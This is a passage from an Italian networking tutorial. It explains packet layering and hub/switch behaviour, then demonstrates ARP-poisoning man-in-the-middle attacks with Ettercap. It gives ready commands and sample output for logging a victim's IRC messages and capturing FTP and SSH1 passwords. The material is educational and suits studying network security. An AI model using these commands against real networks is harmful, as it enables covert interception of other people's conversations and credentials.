arrivata a pezzetti, non ne sareste di certo felici). Tenete a mente che l'assenza di una connessione con conferma rende l'UDP molto più vulnerabile ad attacchi di tipo MITM rispetto al TCP.



RETE A CIPOLLA

Se non conoscevate questa distinzione sono sicuro che ora la vostra concezione di rete è leggermente cambiata, perchè messa sotto quest'ottica i pacchetti diventano delle cipolle più che dei contenitori di dati. Vi siete chiesti il perchè? Immaginate una rete formata da un PC collegato ad un router collegato su Internet, noi stimao navigando su unn sito Web e vogliamo scaricare un file, al momento del click sul nome del fle all'interno del nostro browser, viene costruito un pacchetto di richiesta, le fasi sono queste: a livello 4 il pacchetto verrà marcato con la porta di destinazione 80 (Web), verrà riempito con la nostra richiesta di download e quindi il controllo verrà passato al Layer 3, questo layer metterà un etichetta sul pacchetto scrivendoci sopra il nostro IP come sorgente, e quello del sito in questione come destinazione. Ora si scende a Layer 2, dove il pacchetto viene imbustato in un pacchetto datalink sul quale verrà scritto come indirizzo sorgente il nostro MAC e come destinazione non verrà scritto l'indirizzo MAC del sito perchè noi non possiamo conoscerlo (sappiamo infatti solo il suo IP), ma verrà scritto l'indirizzo MAC della macchina che invierà sulla rete Internet il nostro pacchetto, in questo caso quello del router. Ed ora il Layer 1 invierà un segnale che verrà inoltrato sul cavo. La scheda di rete del router vedrà il segnale (Layer 1), lo leggerà, e verificherà che si tratta di un pacchetto datalink (Layer 2)destinato a lui (in caso contrario verrebbe ignorato), quindi prende nota del mittente, scarta l'intestazione MAC e ne legge l'IP, preleva questo pacchetto (a layer 3) e lo invia su Internet. Dopo pochi millisecondi il server del sito lo vedrà in arrivo sulla porta 80 (di nuovo layer 4), scarterà l'intestazione del TCP, leggerà il contenuto del pacchetto e ci invia il file. Tutto questo in pochissimi millisecondi. Considerate ora una LAN con più di due PC, per collegarli tra loro saprete che è necessario un Hub o uno Switch. Guardandolo, a meno che non ci sia scritto sopra, non potrete capire se si tratta di un Hub o uno Switch, anche se potrebbe sembrare un dettaglio da nulla la differenza tra questi due dispositivi è enorme. Un Hub innanzitutto funziona soltanto a Layer 1, è praticamente un ripetitore di segnali, non si preoccupa di leggere il pacchetto in se, lui ascolta per un segnale e poi lo ripete su tutte le porte. Se su un Hub il segnale arriva sulla porta 2, verrà amplificato e ritrasmesso su tutte le altre porte ad eccezione di quella sorgente. Sapete questo cosa vuol dire? Che con pochi accorgimenti, possiamo leggere il traffico di tutti gli altri, anche quello non destinato a noi. Uno Switch invece funziona a Layer 2 (i più costosi anche a Layer 3), ciò vuol dire che il dispositivo deve poter leggere il pacchetto per poterne trovare il MAC sorgente e il MAC di destinazione, se vi state chiedendo a cosa serve leggere il pacchetto, presto detto: sapendo a chi è destinato non siamo costretti a ritrasmettere il segnale su tutte le porte, ma lo invieremo soltanto sulla porta dove è attaccato il nostro destinatario. Su uno Switch non è quindi possibile (con le conoscenze acquisite fino a questo punto) ascoltare il traffico che arriva sul PC degli altri utenti, semplicemente perchè questo traffico non giunge mai sul nostro cavo. Uno Switch, inoltre, consente di ottenere una LAN più efficente perchè non si hanno più collisioni sui pacchetti, come, invece, avviene spessissimo con gli Hub. E un Bridge? Un Bridge è un dispositivo molto simile ad uno Switch, lavora a Layer 2 ma serve (in genere) a collegare tra loro due LAN che usano protocolli diversi, è completamente trasparente al traffico perchè non è raggiungibile tramite un indirizzo IP o MAC, ed il suo lavoro è "semplicemente" quello di tradurre i pacchetti da un protocollo all'altro, se necessario, e metterli sulla giusta rotta. È molto importante conoscere il funzionamento di una rete se vogliamo capire come fa a funzionare uno sniffer, e cos'è un attacco MITM, ora che tutto è stato spiegato, possiamo tornare a divertirci coin Ettercap.



SNIFFING E MITM

Per sniffare il traffico è necessario un solo accorgimento, a Layer 2 la nostra scheda di rete semplicemente ignora i pacchetti che non hanno come MAC di destinazione il nostro MAC. Come ovviare? Basterà mettere la scheda in modalità promiscua, tale modalità farà si che la scheda invii al kernel tutti i pacchetti che attraversano il cavo, siano essi destinati a noi o meno. Non è assolutamente difficile, dotatevi dei privilegi di root e fate:
# ifconfig eth0 (eth0 varia con il nome della propria interfaccia)
naturalmente l'output elencherà la vostra scheda di rete elencando il MAC e IP associato, inoltre altri dati tra cui la voce "UP BROADCAST MULTICAST" la quale indica che la scheda non è in modalità promiscua, e quindi rimediamo con:

# ifconfig eth0 promisc


a questo punto noteremo che la scheda è in modalità promiscua visualizzando con ifconfig eth0 la voce precedente cambia in "UP BROADCAST PROMISC MULTICAST" quindi da questo momento tutti i pacchetti saranno letti dalla scheda di rete, non è comunque necessario fare questo a mano, Ettercap lo farà per noi, perciò rimediamo e togliamo la modalità promiscua inserita pre l'esempio con:

# ifconfig eth0 -promisc


ecco fatto, tutto tornato come prima. Proviamo quindi ad avviare una sessione di sniffing, apriamo una console e digitiamo:

# ettercap -Tp (avvia in modalità testo e promiscua)

Tutti i pacchetti saranno stampati a schermo, bloccate tutti i vostri download e cercate di guardare gli indirizzi, se vedete dei pacchetti in cui voi NON siete presenti nè nella destinazione nè nel sorgente, allora vi trovate su un Hub, se, invece, non vedete del traffico "estraneo" allora siete su uno Switch, cosa si fa allora? Nessun problema, con un pò di intuito scoprirete che trovare una soluzione non è affatto difficile. Mettetevi nei panni del router appena acceso, le sue tabelle saranno vuote, in quel medesimo istante arriva un pacchetto dalla rete Internet destinato ad un IP pubblico presente nella sua LAN ....Cosa fa? Crea un pacchetto particolare, destinato a tutti (tale pacchettosi chiama broadcast e da "tutti" è identificato con questo indirizzo FF:FF:FF:FF:FF:FF) con scritto dentro "who-has ip" cioè "chi ha questo ip?", tutte le macchine leggeranno il pacchetto ma risponderà soltantoquella che possiede l'IP cercato dicendo: "reply l'ip è a 01:02:03:04:05:06". Il router saprà quindi a quale MAC appartiene quell'IP e sarà in grado di creare un pacchetto Layer 2 per inviare la richiesta proveniente da Internet sulla rete LAN, verso l'IP cercato. La cosa è ura sicuramente più chiara, se su uno Switch non possiamo leggere il traffico destinato agli altri, perchè non ce lo facciamo mandare che è più comodo? Supponiamo quindi di voler ricevere tutto il traffico che la macchina "A" manda su Internet tramite il Gateway "G", noi siamo "B", come facciamo?



INDIRIZZI IP E MAC

Chiariamo la situazione disegnandoci una tabella dei corrispondenti IP e MAC:

Macchina MAC IP
A 01:02:03:04:05:06 192.167.1.10
B 11:12:13:14:15:16 192.167.1.31
G 21:21:23:24:25:26 192.167.1.1


Possiamo risolvere brillantemente il problema in due soli step:

Inviamo un pacchetto ad A dicendo: "reply 192.167.1.1 is at 11:12:13:14:15:16"
Inviamo un pacchett a G dicendo: "reply 192.167.1.10 is at 11:12:13:14:15:16"


I pacchetti vengono accettati? Certo! Non è necessario un arp-request perchè un computer modifichi la sua arp-cache (la tabella dove vengono mantenute le corrispondenze mac-ip) e se anche fosse necessario, bsterebbe poco per fargliene mandare uno. Dopo di che, G saprà che l'IP di A corrisponde al nostro MAC, e A saprà che l'IP di G corrisponde al nostro MAC. Perciò A invierà a noi credendo di inviare a G, e G invierà a noi credendo di inviare ad A. Manca qualcosa? Si, tutto il traffico che arriva a noi da uno dei due Host andrà reindirizzato verso l'altro, altrimenti non potrà instaurarsi nessuna connessione, questo si chiama: attacco MITM. Ovvero, qualcuno è nel mezzo della connessione..... E, ovviamente, può fare quello che vuole, se invece facciamo arp-poisoning su tutte le macchine della rete senza modificare il traffico, allora si tratta solo di sniffing.



ATTACCO MITM
Proviamo quindi ad effettuare un attacco MITM per sniffare una sessione IRC di una macchina della LAN, per far ciò dobbiamo aver chiaro in mente cosa succede: la macchina vittima si collegherà ad un server irc su Internet, ma, come abbiamo già spiegato, i pacchetti arriveranno al gateway e da li verranno inviati su Internet, quindi dovremo fare un attacco MITM tra la macchina vittima e il gateway, sulle porte classiche del servizio IRC, ciò in genere quelle che vanno da: 6666 a 6669, facciamo cosi (è indifferente l'interfaccia grafica usata, quindi non prendetela in considerazione perchè i comandi sono gli stessi), supponiamo che la macchina vitima sia 192.167.1.3:

# ettercap -T -L irc.log -M arp /192.167.1.3/ //6666-6669


In questa maniera diciamo a ettercap di avviarsi n modalità testuale (-T), loggare tutto il traffico sul file irc.log (-L irc.log), effettuare un attacco MITM tramite arp-poisoning, perchè nel mio lab la rete è cablata da uno Switch, altrimenti non potrei sniffare nulla (-M arp) e di leggere tutto il traffico proveniente dalla vittima (/192.167.1.3/) direttto a qualunque host (//) sulle porte che vanno da 6666 a 6669. Una volta avviato Ettercap colleghiamoci ad un qualunque server irc, mandiamo qualche messaggio di test, in seguito premiamo "q" sul prompt dove sta girando Ettercap ed esaminiamo il log, per farlo dovremo solo usare etterlog:

# etterlog irc.log.ecp

etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Log file version : NG-0.7.3
Timestamp : Mon Mar 15 18:05:23 2010
Type : LOG_PACKET

True Jan 26 18:48:50 2009 [765199]
TCP *.*.*.*:6666 --> 192.167.1.3:1958 | AP
:test!~test@P.it PRIVMSG test
:ciao.


True Jan 26 18:48:51 2009 [766219]
TCP *.*.*.*:6666 --> 192.167.1.3:1958 | AP
:test!~test@P.it PRIVMSG test
:come va tutto bene?.


True Jan 26 18:48:58 2009 [765199]
TCP *.*.*.*:6666 --> 192.167.1.3:1958 | AP
:test!~test@P.it PRIVMSG test
:test sniffing.


Sulla prima riga troviamo la data, sulla seconda il tipo di connessione, l'ip sotgente, la porta di provenienza e l'ip di destinazione, "AP" sono i flag tcp. Grazie al logging siamo in grado di seguire per intero una conversazione che avviene su irc, e non solo, in maniera simile possiamo anche monitorare le password che, ad esempio, vengono utilizzate su un server ftp:

# ettercap -Tq -M arp /192.167.1.3/ //21


Cosi facendo diciamo ad Ettercap di avviarsi in modalità testo (-T) ma aggiungiamo il parametro "q" che serve a dire di non stampare tutto il traffico, verranno quindi stampate soltanto le password, ovviamente richiediamo il solito attacco MITM sull'host vittima verso qualunque ftp, ecco cosa succede alla prima sessione ftp:

FTP : 212.84.*.*:21 -> USER: mirko PASS: my_pass

Viene mostrata a schermo solo la password del server e questo grazie all'FTP dissector, ovviamente Ettercap supporta una serie di altri protocolli che sono: telnet, pop, rlogin, ssh1, icq, smb, mysql, http, nntp, x11, napster, irc, rip, bgp, socks 5, imap 4, vnc, ldap, nfs, snmp, half life, quake 3, msn, ymsg. A questo punto dovreste aver notato una cosa interessante..... È possibile visualizzare in chiaro anche il traffico ssh1, ma come si fa? ssh1 utilizza un meccanismo di scambio a chiave pubblica (o asimmetrica), che funziona in questa m,aniera:
Il client genera un numero casuale di 128-256 bit che sarà la chiave con cui verrà cifrato tutto il traffico. Il client richiede al server la propria chiave pubblica. Il client cifra il numero generato, con la chiave pubblica del server e gliela invia. Il serrver decifra con la sua chiave privata questo numero ed inizializza la sessione. Il precedente post con l'esempio di Bob, Alice e Mallory descrive questo meccanismo... ricordate?

Il meccanismo di scambio viene detto a chiave "asimmetrica" perchè tutto ciò che si cifra con la chiave pubblica di qualcuno, può essere desifrato solo con la sua chiave privata. Provate ora ad entrare nell'ottica dell'attacco MITM, questo meccanismo non garantisce affatto che la chiave ricevuta sia proprio quella del client.... Perciò sfruttiamo questa falla nell'autenticazione e comportiamoci in questo modo:

Arp-poisoniamo il client e redigeriamo su di noi il suo traffico. Arp-poisoniamo il server e facciamo la stessa cosa. Quando il client invia la sua chiave pubblica, al server inviamo la NOSTRA chiave. Quando il server invia al client la sua chiave pubblica, noi gli inviamo la nostra. Registriamo sia chiave pubblica del server che del client.

In questo modo il client cifrerà il traffico verso il server con la nostra chiave pubblica, e cosi farà anche il server. Saremo quindi in grado di spiare la connessione sia da client-server che da server-client (questo si dice Full-Duplex MITM), ovviamente tutto il traffico in arrivo su di noi verrà decifrato, loggato e quindi cifrato di nuovo con la chiave del server o del client. I due computer non noteranno nulla se quella è la loro prima connessione, ma se invece si tratta della seconda o successive, ssh in automatico ci avviserà che la chiave è cambiata, tuttavia molti utenti non tengono conto dell'avviso (pensando magari che la chiave è cambiata a causa di un aggiornamento di ssh) e quindi si espongono a questo tipo di attacco.


LA PRATICA
Ma vediamo in pratica come è possibile loggare le password o il traffico su un server ssh1. Nell'esempio vedremo un attacco MITM tra una macchina (192.167.1.8) e un server ssh1, avviamo Ettercap con questi parametri:

# ettercap -Tq -M arp /192.167.1.8/ //22

Diciamo cosi al programma di avviarsi in modalità testo, senza stampare tutti i pacchetti, di far un attacco MITM tramite arp-poisoning (sempre perchè il lab si trova su uno Switch) tra l'host 192.167.1.8 e tutte le connessioni che questo host fa sulla porta 22. Portiamoci quindi sull'host 192.167.1.8 ed apriamo una connessione ssh:

# ssh HYPERLINK "mailto:mirk@192.167.1.10"mirk@192.167.1.10


Vediamo subito che SSH ci avverte del cambiamento della chiave (perchè durante la prima connessione la chiave viene registrata), tuttavia scegliendo di accettare la chiave possiamo comunque procedere, ed eccone il risultato:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST
IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

IT IS POSSIBLE THAT SOMEONE IS
DOING SOMETHING NASTY!
Someone could be eavesdropping on
you right now (man-in-the-middle attack)!
It is also possible that the RSA
host key has just been changed.
The fingerprint for the RSA key
sent by remote host is
44:16:b4:d8:11:4d:cf:10:87:11:a0:58:25:63:c5:fa.
Please contact your system administrator.

Come da copione la password di ssh viene loggata all'istante:

SSH : 192.167.1.10:22 -> USER: mirk PASS: p4ssw0rD



CONCLUDENDO

Ma volendo anche tutto il traffico ssh sarebbe visibile, perciò potremmo spiare senza alcun problema tutta la sessione che sta facendo l'utente. E questo vale con ssh1, ma per ssh2? In questo caso viene utilizzato il Diffie-Hellman come algoritmo di scambio delle chiavi. Diffie-Hellman complica le cose perchè include dei check (firma digitalmente una chiave di scambio) per verificare che effettivamente la chiave ricevuta sia quella del client o del server, ma......
Per il momento fermiamoci quà, vedremo più avanti approfondimenti per vari protocolli ed altro, in particolare Ettercap che, ricordo a tutti, è un tool esclusivamente Italiano.... poi venitemi a dire che nessuno ficca il naso negli affari degli altri, non è cosi. Noi abbiamo inventato lo spionaggio e ce ne serviamo sempre, perciò qualunque cosa facciamo è pur sempre cosa "pubblica" sotto serti punti di vista, quindi sapere che questo avviene ci fa prendere altrettante precauzioni, a presto.

PS
Per visualizzare il comportamento di una sessione ssh vi rimando ad un esaudiente lezione: Come_effettuare_una_connessione_remota_SSH_da_Windows_a_Linux